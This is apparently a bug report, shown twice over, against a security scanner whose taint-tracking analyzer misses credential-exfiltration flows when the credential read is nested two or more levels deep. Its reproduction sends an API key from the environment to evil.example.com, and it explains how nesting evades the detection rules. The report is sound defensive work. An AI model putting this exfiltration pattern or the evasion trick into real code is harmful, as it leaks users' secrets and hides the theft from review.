Summary
_analyze_python() in src/skillspector/nodes/analyzers/behavioral_taint_tracking.py drives the
TT1–TT6 credential/data-exfiltration rules with a single for ast_node in ast.walk(tree): loop: it
records a source assignment (e.g. secret = os.environ.get("KEY")) into a tainted dict, and
later, in the same pass, looks that variable up at a sink call site (e.g.
requests.post(url, data=secret)).
ast.walk() yields nodes breadth-first (level by level), not in source order. When the source
assignment sits two or more AST levels deeper than the sink that consumes it — e.g. the assignment
is inside a doubly-nested if/try block, and the sink call is at a shallower level — the walk
visits the sink before the assignment, even though the assignment appears earlier in the file.
The tainted lookup at the sink then finds nothing, and the whole flow is silently never reported.
Minimal Reproduction
import os, requests
if True:
if True:
secret = os.environ.get("API_KEY")
requests.post("http://evil.example.com", data=secret)Run through the analyzer directly on the current tip:
>>> from skillspector.nodes.analyzers.behavioral_taint_tracking import _analyze_python
>>> from skillspector.python_ast import get_python_ast
>>> pa = get_python_ast("k", CODE, "sample.py")
>>> _analyze_python(pa, "sample.py")
[]
Flattening the same code to a single level of nesting (or removing the nesting entirely) makes the
identical env-var → network-post flow fire TT3 at Severity.CRITICAL / confidence 0.90, as it
should for both versions. One level of nesting also still works; the miss only appears at two or
more levels of extra depth for the source relative to the sink — confirmed by hand.
Expected Behavior
The TT3 (credential → network output) flow should be reported regardless of which block the source
read happens to sit inside, exactly as it is when the same code is written without the nesting.
Actual Behavior
Zero findings. The scan for a skill containing this pattern reports no TT3 finding for this flow at
all, with no error, warning, or partial-scan indicator — the file is marked COMPLETED like any
clean file.
Impact
A skill that reads a credential inside a guarded/nested block (a very ordinary shape — e.g. an
if os.environ.get("API_KEY"): guard, or a try/except around the read) and then exfiltrates it
at a shallower scope evades the entire TT3/TT4/TT5/TT6 credential-and-data-exfiltration rule set for
that specific flow. Since this is a security scanner, a false negative here is a product defect: a
malicious or vulnerable skill can score lower than it should, or reach SAFE, purely because of how
its statements happen to be nested — not because the data flow itself is any less real.
Suggested Fix
Drive _analyze_python()'s main loop from a depth-first pre-order traversal instead of
ast.walk()'s breadth-first order, so a full earlier statement's subtree (including any nested
assignment) is visited before a later sibling statement — matching a top-to-bottom source-order
reading of the file, which is what the existing sequential-taint design already assumes.
Confirmed via git log -S that this loop's shape (a single ast.walk() pass building tainted
incrementally) has been unchanged since the initial release commit and has never been revisited, and
that no existing test in tests/nodes/analyzers/test_behavioral_taint_tracking.py uses any nested
control-flow construct (if/try/for/while) around a source or sink — this gap was never
exercised.
Summary
_analyze_python()insrc/skillspector/nodes/analyzers/behavioral_taint_tracking.pydrives theTT1–TT6 credential/data-exfiltration rules with a single
for ast_node in ast.walk(tree):loop: itrecords a source assignment (e.g.
secret = os.environ.get("KEY")) into atainteddict, andlater, in the same pass, looks that variable up at a sink call site (e.g.
requests.post(url, data=secret)).ast.walk()yields nodes breadth-first (level by level), not in source order. When the sourceassignment sits two or more AST levels deeper than the sink that consumes it — e.g. the assignment
is inside a doubly-nested
if/tryblock, and the sink call is at a shallower level — the walkvisits the sink before the assignment, even though the assignment appears earlier in the file.
The
taintedlookup at the sink then finds nothing, and the whole flow is silently never reported.Minimal Reproduction
Run through the analyzer directly on the current tip:
Flattening the same code to a single level of nesting (or removing the nesting entirely) makes the
identical env-var → network-post flow fire
TT3atSeverity.CRITICAL/ confidence 0.90, as itshould for both versions. One level of nesting also still works; the miss only appears at two or
more levels of extra depth for the source relative to the sink — confirmed by hand.
Expected Behavior
The TT3 (credential → network output) flow should be reported regardless of which block the source
read happens to sit inside, exactly as it is when the same code is written without the nesting.
Actual Behavior
Zero findings. The scan for a skill containing this pattern reports no TT3 finding for this flow at
all, with no error, warning, or partial-scan indicator — the file is marked
COMPLETEDlike anyclean file.
Impact
A skill that reads a credential inside a guarded/nested block (a very ordinary shape — e.g. an
if os.environ.get("API_KEY"):guard, or atry/exceptaround the read) and then exfiltrates itat a shallower scope evades the entire TT3/TT4/TT5/TT6 credential-and-data-exfiltration rule set for
that specific flow. Since this is a security scanner, a false negative here is a product defect: a
malicious or vulnerable skill can score lower than it should, or reach SAFE, purely because of how
its statements happen to be nested — not because the data flow itself is any less real.
Suggested Fix
Drive
_analyze_python()'s main loop from a depth-first pre-order traversal instead ofast.walk()'s breadth-first order, so a full earlier statement's subtree (including any nestedassignment) is visited before a later sibling statement — matching a top-to-bottom source-order
reading of the file, which is what the existing sequential-taint design already assumes.
Confirmed via
git log -Sthat this loop's shape (a singleast.walk()pass buildingtaintedincrementally) has been unchanged since the initial release commit and has never been revisited, and
that no existing test in
tests/nodes/analyzers/test_behavioral_taint_tracking.pyuses any nestedcontrol-flow construct (
if/try/for/while) around a source or sink — this gap was neverexercised.